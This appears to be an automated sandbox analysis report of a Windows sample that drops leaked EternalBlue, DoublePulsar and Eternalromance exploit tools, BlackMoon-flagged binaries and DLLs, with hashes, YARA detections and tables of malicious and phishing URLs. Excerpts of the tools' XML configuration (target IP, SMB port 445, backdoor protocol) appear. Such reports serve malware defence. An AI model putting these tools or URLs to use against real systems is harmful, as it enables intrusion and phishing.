Excluded domains from analysis (whitelisted): crl.edge.digicert.com, client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, crl3.digicert.com, crl4.digicert.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: exe3.bin.bak.exe

Simulations

Behavior and APIs

Time	Type	Description
08:11:07	API Interceptor	4x Sleep call for process: exe3.bin.bak.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
open.a.shifen.com	38iGnQnL33.exe	Get hash	malicious	BlackMoon, DoublePulsar, ETERNALBLUE, GhostRat	Browse	45.113.194.127
	pRTafycKx1.exe	Get hash	malicious	ETERNALBLUE	Browse	103.235.46.119
	pRTafycKx1.exe	Get hash	malicious	ETERNALBLUE	Browse	103.235.46.119
	http://14.215.177.38	Get hash	malicious	Unknown	Browse	103.235.46.116
	http://104.193.88.123	Get hash	malicious	Unknown	Browse	103.235.46.116
	http://www.baidu.com/	Get hash	malicious	Unknown	Browse	103.235.46.116
members.3322.net	38iGnQnL33.exe	Get hash	malicious	BlackMoon, DoublePulsar, ETERNALBLUE, GhostRat	Browse	118.184.169.48
fp2e7a.wpc.phicdn.net	SecuriteInfo.com.Trojan.MulDrop20.16243.24393.7295.exe	Get hash	malicious	XWorm	Browse	192.229.221.95
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse	192.229.221.95
	SecuriteInfo.com.Trojan.PackedNET.2939.26166.7469.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://rules-pear-kft5d2.mystrikingly.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://metamesklogni.webflow.io/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://sp.26skins.com/steamstore/category/adventure_rpg/?snr=1_5_9__12	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://scm.ci/cgi-bin/redirect.php	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://steaemcoonmmunnltly.com/g-friend/golo/gifts-50	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://danakaget.sekarang.xyz/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://business.ifbsmetaiidentiityconfirms.com/meta-community-standard100068928266341/	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95

ASNs

⊘No context

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	52.165.165.26
	amadka[1].exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	52.165.165.26
	Uxqm7OvkfQ.exe	Get hash	malicious	Unknown	Browse	52.165.165.26
	XPLufmgvAP.exe	Get hash	malicious	Unknown	Browse	52.165.165.26
	http://jameshuntconstruction.com	Get hash	malicious	Unknown	Browse	52.165.165.26
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	52.165.165.26
	(No subject) (29).eml	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26
	https://rules-pear-kft5d2.mystrikingly.com/	Get hash	malicious	Unknown	Browse	52.165.165.26
	https://metamesklogni.webflow.io/	Get hash	malicious	Unknown	Browse	52.165.165.26
	https://scm.ci/cgi-bin/redirect.php	Get hash	malicious	Unknown	Browse	52.165.165.26
3b5074b1b5d032e5620f69f9f700ff0e	xj40xovMsm.exe	Get hash	malicious	AsyncRAT, AveMaria, Keyzetsu Clipper, MicroClip, PureLog Stealer, RL STEALER, RedLine	Browse	40.113.110.67
	amadka[1].exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	40.113.110.67
	http://business.ifbsmetaiidentiityconfirms.com/meta-community-standard100068928266341/	Get hash	malicious	HTMLPhisher	Browse	40.113.110.67
	http://helpdesk-advertising-review-id-9865133.d3m7n55z273utf.amplifyapp.com/index.html	Get hash	malicious	Unknown	Browse	40.113.110.67
	https://pub-9445ce0d74714d1c934c51ffcf83c3f2.r2.dev/slnt.html?nycsbs	Get hash	malicious	HTMLPhisher	Browse	40.113.110.67
	http://mail.support-xfinity.152-42-227-61.cprapid.com/	Get hash	malicious	Unknown	Browse	40.113.110.67
	https://pradeeprunner.com/auth.html	Get hash	malicious	Unknown	Browse	40.113.110.67
	http://cacahs.fdavm.com/	Get hash	malicious	Unknown	Browse	40.113.110.67
	https://iwahadxi.hosted.phplist.com/lists/lt.php/?tid=eU1SAFEEUlZTABhUAVAGGAZWVFsfXVQLWkkDBQIAUAwCAgcAAldPWwdaBlNRVAgYVwEEXh9QClxcSQcAUlcbWgQGAAJVVwRXBAoBSQcBAVALVA8LHwIEXVtJUg8GVxsAVVMHGA5SB1EBC1YDAQQBDA	Get hash	malicious	Unknown	Browse	40.113.110.67
	http://teligrum.ru/	Get hash	malicious	Unknown	Browse	40.113.110.67

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\Doublepulsar-1.3.1.exe	38iGnQnL33.exe	Get hash	malicious	BlackMoon, DoublePulsar, ETERNALBLUE, GhostRat	Browse
	4xHN38uqxB.exe	Get hash	malicious	DoublePulsar, ETERNALBLUE, Xmrig	Browse
	SecuriteInfo.com.Trojan.PWS.Panda.8062.7332.22919.exe	Get hash	malicious	DoublePulsar, ETERNALBLUE	Browse
	dGOEUK.exe	Get hash	malicious	ETERNALBLUE, Xmrig	Browse
	pRTafycKx1.exe	Get hash	malicious	ETERNALBLUE	Browse
	pRTafycKx1.exe	Get hash	malicious	ETERNALBLUE	Browse
	spread.exe	Get hash	malicious	ETERNALBLUE, Xmrig	Browse
	https://raw.githubusercontent.com/stamparm/EternalRocks/master/samples/cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30	Get hash	malicious	ETERNALBLUE	Browse
	https://raw.githubusercontent.com/stamparm/EternalRocks/master/samples/cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30	Get hash	malicious	ETERNALBLUE	Browse
	17EE910BA5FB8EE340218819E9A96C9CF8253EA919B93.exe	Get hash	malicious	ETERNALBLUE	Browse
C:\Users\user\Desktop\Eternalblue-2.2.0.exe	38iGnQnL33.exe	Get hash	malicious	BlackMoon, DoublePulsar, ETERNALBLUE, GhostRat	Browse
	4xHN38uqxB.exe	Get hash	malicious	DoublePulsar, ETERNALBLUE, Xmrig	Browse
	SecuriteInfo.com.Trojan.PWS.Panda.8062.7332.22919.exe	Get hash	malicious	DoublePulsar, ETERNALBLUE	Browse
	dGOEUK.exe	Get hash	malicious	ETERNALBLUE, Xmrig	Browse
	pRTafycKx1.exe	Get hash	malicious	ETERNALBLUE	Browse
	pRTafycKx1.exe	Get hash	malicious	ETERNALBLUE	Browse
	spread.exe	Get hash	malicious	ETERNALBLUE, Xmrig	Browse
	https://raw.githubusercontent.com/stamparm/EternalRocks/master/samples/cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30	Get hash	malicious	ETERNALBLUE	Browse
	https://raw.githubusercontent.com/stamparm/EternalRocks/master/samples/cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30	Get hash	malicious	ETERNALBLUE	Browse
	17EE910BA5FB8EE340218819E9A96C9CF8253EA919B93.exe	Get hash	malicious	ETERNALBLUE	Browse

Created / dropped Files

C:\Users\user\Desktop\Doublepulsar-1.3.1.exe

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	45568
Entropy (8bit):	6.310406461134233
Encrypted:	false
SSDEEP:	768:Zfsz7cLr4VwePeXUTQq+BNV1WzV64aHo2Ej4rrIrL/SBfjyC:ZyJwFmB+jVTEkrmL/eT
MD5:	C24315B0585B852110977DACAFE6C8C1
SHA1:	BE855CD1BFC1E1446A3390C693F29E2A3007C04E
SHA-256:	15FFBB8D382CD2FF7B0BD4C87A7C0BFFD1541C2FE86865AF445123BC0B770D13
SHA-512:	81032D741767E868EC9D01E827B1C974B7C040FF832907D0A2C4BDC08301189B1DE3338225587EDDF81A829103392F454BA9D9685330B5F6706EA2977A6418E2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DoublePulsar, Description: Yara detected DoublePulsar, Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe, Author: Joe Security Rule: EquationGroup_Toolset_Apr17_Erraticgopher_1_0_1, Description: Detects EquationGroup Tool - April Leak, Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe, Author: Florian Roth Rule: EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1, Description: Detects EquationGroup Tool - April Leak, Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe, Author: Florian Roth Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 93%
Joe Sandbox View:	Filename: 38iGnQnL33.exe, Detection: malicious, Browse Filename: 4xHN38uqxB.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Panda.8062.7332.22919.exe, Detection: malicious, Browse Filename: dGOEUK.exe, Detection: malicious, Browse Filename: pRTafycKx1.exe, Detection: malicious, Browse Filename: pRTafycKx1.exe, Detection: malicious, Browse Filename: spread.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: 17EE910BA5FB8EE340218819E9A96C9CF8253EA919B93.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?..l..l..l;#.l..l.!.l..l.!.l..l.!.l..l.!.l..l...l..l..l..l..l..l.!.l..l...l..l...l..lRich..l................PE..L......P.................4...z.......>.......P....@.................................*r....@..................................d.......................................................................c..@............P...............................text....3.......4.................. ..`.rdata..B....P... ...8..............@..@.data...TQ...p...N...X..............@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\Doublepulsar-1.3.1.xml

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5349
Entropy (8bit):	4.7478640209666985
Encrypted:	false
SSDEEP:	96:yJhKJ6yPl/rGH4rAH+6UlbscJsZPF97yr+HKSB+x+M+rEH:k4JFIXepb9ga
MD5:	09D45AE26830115FD8D9CDC2AA640CA5
SHA1:	41A6AD8D88B6999AC8A3FF00DD9641A37EE20933
SHA-256:	CF33A92A05BA3C807447A5F6B7E45577ED53174699241DA360876D4F4A2EB2DE
SHA-512:	1A97F62F76F6F5A7B668EADB55F08941B1D8DFED4A28C4D7A4F2494FF57E998407EC2D0FEDAF7F670EB541B1FDA40CA5E429D4D2A87007EC45EA5D10ABD93AA5
Malicious:	false
Yara Hits:	Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.xml, Author: ditekSHen
Reputation:	moderate, very likely benign file
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<config xmlns="urn:trch".. id="a748cf79831d6c2444050f18217611549fe3f619".. name="Doublepulsar".. version="1.3.1".. configversion="1.3.1.0".. schemaversion="2.0.0">.. <inputparameters>.. .. <parameter name="NetworkTimeout" description="Timeout for blocking network calls (in seconds). Use -1 for no timeout." type="S16">.. <default>60</default>.. </parameter>.. <parameter name="TargetIp" xdevmap="TARGET_IP_V4_ADDRESS" description="Target IP Address" type="IPv4"/>.. <parameter name="TargetPort" xdevmap="TARGET_PORT" description="Port used by the Double Pulsar back door" type="TcpPort">.. <default>445</default>.. </parameter>.. .. <paramchoice name="Protocol" xdevmap="DOUBLEPULSAR_PROTOCOL_TYPE" description="Protocol for the backdoor to speak">.. <default>SMB</default>.. <paramgroup name="SMB" description="Ring 0 S

C:\Users\user\Desktop\Eternalblue-2.2.0.exe

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	129024
Entropy (8bit):	6.602409453417197
Encrypted:	false
SSDEEP:	1536:YEI4kX/3TWbMPqc+4GJky+IBgXDfsggZK4WBc+FtDc+AX4VHKpdhxm/wl6uv/+Ws:ITiMPqiruJB+rrAX4edbmruvmkI79
MD5:	8C80DD97C37525927C1E549CB59BCBF3
SHA1:	4E80FA7D98C8E87FACECDEF0FC7DE0D957D809E1
SHA-256:	85B936960FBE5100C170B777E1647CE9F0F01E3AB9742DFC23F37CB0825B30B5
SHA-512:	50E9A3B950BBD56FF9654F9C2758721B181E7891384FB37E4836CF78422399A07E6B0BFAB16350E35EB2A13C4D07B5CE8D4192FD864FB9AAA9602C7978D2D35E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ETERNALBLUE, Description: Yara detected ETERNALBLUE, Source: C:\Users\user\Desktop\Eternalblue-2.2.0.exe, Author: Joe Security Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Users\user\Desktop\Eternalblue-2.2.0.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Joe Sandbox View:	Filename: 38iGnQnL33.exe, Detection: malicious, Browse Filename: 4xHN38uqxB.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Panda.8062.7332.22919.exe, Detection: malicious, Browse Filename: dGOEUK.exe, Detection: malicious, Browse Filename: pRTafycKx1.exe, Detection: malicious, Browse Filename: pRTafycKx1.exe, Detection: malicious, Browse Filename: spread.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: 17EE910BA5FB8EE340218819E9A96C9CF8253EA919B93.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8h..\|...\|...\|...[..q...[..~...[...l...[...;...uq..z...%*..y...\|.......[..}...uq..B...uq..}...Rich\|...................PE..L.....Q.................x..........o^............@..........................0............@.................................D.......................................................................x...@............................................text....v.......x.................. ..`.rdata...@.......B...\|..............@..@.data..../.......(..................@....reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\Eternalblue-2.2.0.xml

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	7649
Entropy (8bit):	5.003335636285692
Encrypted:	false
SSDEEP:	192:N59/klempFDP/OoNO+nGINyXtgr12Il6Vet4f:N5KlZpF6IM
MD5:	497080FED2000E8B49EE2E97E54036B1
SHA1:	4AF3FAE881A80355DD09DF6E736203C30C4FAAC5
SHA-256:	756F44F1D667132B043BFD3DA16B91C9F6681E5D778C5F07BB031D62FF00D380
SHA-512:	4F8BD09F9D8D332C436BEB8164EEC90B0E260B69230F102565298BEFF0DB37265BE1AE5EB70ACF60E77D5589C61C7EE7F01A02D2A30AC72D794A04EFEF6F25DF
Malicious:	false
Yara Hits:	Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Users\user\Desktop\Eternalblue-2.2.0.xml, Author: ditekSHen
Reputation:	moderate, very likely benign file
Preview:	<?xml version='1.0' encoding='utf-8'?>.<config xmlns='urn:trch' name='Eternalblue' version='2.2.0' schemaversion='2.1.0' configversion='2.2.0.0' id='0f38f55b6a88feccfb846d3d10ab4687e652e63e'>. <inputparameters>. <parameter hidden='true' type='TcpPort' name='DaveProxyPort' description='DAVE Core/Proxy Hookup connection port'>. <default>0</default>. </parameter>. <parameter type='S16' name='NetworkTimeout' description='Timeout for blocking network calls (in seconds). Use -1 for no timeout.'>. <default>60</default>. </parameter>. <parameter xdevmap='TARGET_IP_V4_ADDRESS' type='IPv4' name='TargetIp' description='Target IP Address'/>. <parameter xdevmap='TARGET_PORT' type='TcpPort' name='TargetPort' description='Port used by the SMB service for exploit connection'>. <default>445</default>. </parameter>. <parameter xdevmap='ETERNALBLUE_VALIDATE_TARGET' type='Boolean' name='VerifyTarget' description='Validate the SMB string from target against the targe

C:\Users\user\Desktop\Eternalromance-1.4.0.exe

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	44032
Entropy (8bit):	6.364306457998671
Encrypted:	false
SSDEEP:	384:JoviO9v8ev1gHVXNuxqmwA6vAbCm2qu09mEwj7Bh+GQKOtGvMuSeU2dl4el4xP:QiO9y0xqm6vAGmXHTnKOMBbl8P
MD5:	4420F8917DC320A78D2EF14136032F69
SHA1:	06CD886586835B2BF0D25FBA4C898B69E362BA6D
SHA-256:	B99C3CC1ACBB085C9A895A8C3510F6DAAF31F0D2D9CCB8477C7FB7119376F57B
SHA-512:	020F0E42CB26B0EC39FBD381E289466509612307E76A0BFD820247D986E9959FE8E68A1CC41DC2A36F8387C61D88A0B0C900D2A406967EBF5C051AD39B026942
Malicious:	true
Yara Hits:	Rule: EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1, Description: Detects EquationGroup Tool - April Leak, Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe, Author: Florian Roth Rule: EquationGroup_Toolset_Apr17_Eternalromance_2, Description: Detects EquationGroup Tool - April Leak, Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe, Author: Florian Roth Rule: EquationGroup_Toolset_Apr17_Eternalromance, Description: Detects EquationGroup Tool - April Leak, Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe, Author: Florian Roth Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........j.v9.v9.v9.G.9.v9.G.9.v9.G.9..v9.G.9..v9...9.v9..e9.v9.w9N.v9.G.9.v9...9.v9...9.v9Rich.v9........PE..L...{..O.................p...8.......y............@.................................7.....@........................................................................................................8...@............................................text....n.......p.................. ..`.rdata..h&.......(...t..............@..@.data...(...........................@....rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\Eternalromance-1.4.0.xml

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	21400
Entropy (8bit):	4.861517810415294
Encrypted:	false
SSDEEP:	96:i06QxDq/1yDOP0HX0NW07N0jcfU9PLD0Qg0+d0U0PHKbSP0B0btIaTiP0zTM0h8T:i0BYGUuukfew8UEhTZdNtug6aDShseVy
MD5:	90D179A2F46C02BCDF9CF625EA5AA752
SHA1:	3EB0DA5A71456C7C2459FA44611FF53CD1B36A15
SHA-256:	6C55B736646135C0ACBAD702FDE64574A0A55A77BE3F39287774C7E518DE3DA9
SHA-512:	CFBE2E8A9ED33CD2D5C4C9B9F0E0839C6AA9E05698EEB96E3095B025D8E511239AAEDEDF65A91141F99F0422F1E7A27E7756C2A278192869C903840B6B1DADD4
Malicious:	false
Yara Hits:	Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Users\user\Desktop\Eternalromance-1.4.0.xml, Author: ditekSHen
Reputation:	moderate, very likely benign file
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<config xmlns="urn:trch".. id="df1cc1973caa2c3e1bbe4d2e48ffd23e50e4e428".. name="Eternalromance".. version="1.4.0".. configversion="1.4.0.0".. schemaversion="2.0.0">.. <inputparameters>.. All plugins that perform blocking network calls must have a NetworkTimeout.. parameter or its equivalent -->.. <parameter name="NetworkTimeout".. description="Timeout for blocking network calls (in seconds). Use -1 for no timeout.".. type="S16">.. <default>60</default>.. </parameter>.. .. <parameter name="TargetIp".. description="Target IP Address".. type="IPv4"/>.. .. <parameter name="TargetPort" description="Target TCP port" type="TcpPort">.. <default>445</default>.. </parameter>.. .. <parameter name="MaxExploitAttempts".. description="Number of tries to exploit. Default 3".. type="U32"..

C:\Users\user\Desktop\Wmicc.exe

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1093632
Entropy (8bit):	6.491427257775137
Encrypted:	false
SSDEEP:	24576:BiJSZ62cLb7JDx44k3GwHiqBxZo60jpbqF:BxcH9D6JPvBxZo6epbqF
MD5:	E1F8EE38A7E1F76E636499EB40AEC1CA
SHA1:	6D5688EA53B2FE9A3FD751350446F6205D94DBA0
SHA-256:	C82E90CF223BF9C1FB77D44D2CD7678D7AD6994363973502633E7F25FDBD2D93
SHA-512:	66CA4DCB5CBF0EFBED23B8EDF8763BAC1B8C1090BB797FB53B00B18D3BF751B4C2E685699F3B08BED393FB0D5183D1A86780291369B817E241E8A0F1224A7EC1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Users\user\Desktop\Wmicc.exe, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\Desktop\Wmicc.exe, Author: Joe Security Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Users\user\Desktop\Wmicc.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........!...r...r...r..r...ra..r...r!..r...r...r:..rJ..r...r...rK..ra..r...r...r'..r...r...rJ..r...rRich...r........................PE..L.....ff............................\.............@.........................................................................8........................................................................................................................text..."........................... ..`.rdata...Q.......`..................@..@.data........@...`...@..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\cnli-1.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	100864
Entropy (8bit):	6.5974034404211235
Encrypted:	false
SSDEEP:	3072:LrZL1wTcqmJ3QthbjsKXhoF3P3aTCLEA7HHxJPt:LN47aF3CTC37H
MD5:	A539D27F33EF16E52430D3D2E92E9D5C
SHA1:	F6D4F160705DC5A8A028BACA75B2601574925AC5
SHA-256:	DB0831E19A4E3A736EA7498DADC2D6702342F75FD8F7FBAE1894EE2E9738C2B4
SHA-512:	971C7D95F49F9E1AE636D96F53052CFC3DBDB734B4A3D386346BF03CA78D793EAEE18EFCAE2574B88FDEE5633270A24DB6C61AA0E170BCC6D11750DBD79AD0AF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 95%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.w.............2Md.....2Mb.....2Mw.....2Mt.U...L..............2Mg..........................Rich............PE..L.....LO...........!.........\|............... ............................................@..........................7..UM...*..d...............................X....................................%..@............ ...............................text...V........................... ..`.rdata..Ud... ...f..................@..@.data...l............x..............@....reloc...............\|..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\coli-0.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.761304172445805
Encrypted:	false
SSDEEP:	192:c1VDVzDJuoJ/a8yRIB4Al4rKoRbFjGgGz3bG8sEwdCs8Ej2uHR0EhBkM2NFU+z4o:c1VxsoNKI++u1qz3K8BwxCO103z4VL2
MD5:	3C2FE2DBDF09CFA869344FDB53307CB2
SHA1:	B67A8475E6076A24066B7CB6B36D307244BB741F
SHA-256:	0439628816CABE113315751E7113A9E9F720D7E499FFDD78ACBAC1ED8BA35887
SHA-512:	D6B819643108446B1739CBCB8D5C87E05875D7C1989D03975575C7D808F715DDCCE94480860828210970CEC8B775C14EE955F99BD6E16F9A32B1D5DAFD82DC8C
Malicious:	true
Yara Hits:	Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: C:\Users\user\Desktop\coli-0.dll, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Gj..&...&...&....y..&.......&....j..&....i.&...^...&......&...&..E&....z..&...^...&...^...&...^...&..Rich.&..........................PE..L...7.LO...........!.................'.......0...............................`............@..........................>......D4...............................P......................................P3..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data...\....@.......2..............@....reloc..(....P.......6..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\crli-0.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17408
Entropy (8bit):	5.756189024325687
Encrypted:	false
SSDEEP:	384://8GSU0q4AG2FuEe4k9k+kGP599OdcxwX6Sn+P47kAkluNO8Nofi/4Rtz://8GSU0qnhEEe4QTHP79OdcxwX6S+PQA
MD5:	F82FA69BFE0522163EB0CF8365497DA2
SHA1:	75BE54839F3D01DC4755DDC319F23F287B1F9A7B
SHA-256:	B556B5C077E38DCB65D21A707C19618D02E0A65FF3F9887323728EC078660CC3
SHA-512:	D9CFC2AF1C2E16171F3446991A3FFB441DB39BFAEA3C8993AACE632088EA1B3A64F81AAD10B0F8788804876C66374EDF0CB7ECB0D94005D648744E67AC537DB5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y..g...4...4...4:6.4...4:6.4...4:6.4...4:6.4]..4..O4...4D..4...4...4D..4:6.4...4.._4...4..N4...4..M4...4Rich...4................PE..L.....LO...........!.....,...........6.......@...............................p............@..........................D.......A..P............................`.......................................@..@............@..h............................text....+.......,.................. ..`.rdata..2....@.......0..............@..@.data...\....P.......:..............@....reloc..R....`.......>..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\dmgd-4.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	479744
Entropy (8bit):	6.050098948417828
Encrypted:	false
SSDEEP:	3072:VgSjV199+51p9xrQmd1xHQmh1t38lzwpzKVJV2E5Jp2rxrI1+uhHIZ+gHTTnIv+g:Vg1gm
MD5:	A05C7011AB464E6C353A057973F5A06E
SHA1:	E819A4F985657B58D06B4F8AD483D8E9733E0C37
SHA-256:	50F329E034DB96BA254328CD1E0F588AF6126C341ED92DDF4AEB96BC76835937
SHA-512:	7F8FCE95B08B0013C57BF05A34D320925E7007D4E82B9F62B7A609038494132F5B85C5918DE975C13591EC7A915C238896E9DD7C6A3626A3BB556E0E718BAD6D
Malicious:	true
Yara Hits:	Rule: Windows_Exploit_Eternalblue_ead33bf8, Description: unknown, Source: C:\Users\user\Desktop\dmgd-4.dll, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E.!9..Oj..Oj..Oj&`2j..Oj&`4j..Oj&`!j..Oj&`"jA.Oj...j..OjX.\j..Oj..NjZ.Oj&`1j..Oj...j..Oj...j..Oj...j..OjRich..Oj........PE..L...3..Q...........!.....J..........tT.......`............................................@..........................d.......a..P............................p.......................................a..@............`..x............................text....H.......J.................. ..`.rdata.......`.......N..............@..@.data........p.......T..............@....reloc.......p.......F..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\exma-1.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	5.254000178697281
Encrypted:	false
SSDEEP:	192:+ouDzncwrjGQmzZbO8sEk3jMkx6VuxLj4l5JVIb/A:+xDz1azZa8Bkz5xDxH4xmk
MD5:	BA629216DB6CF7C0C720054B0C9A13F3
SHA1:	37BB800B2BB812D4430E2510F14B5B717099ABAA
SHA-256:	15292172A83F2E7F07114693AB92753ED32311DFBA7D54FE36CC7229136874D9
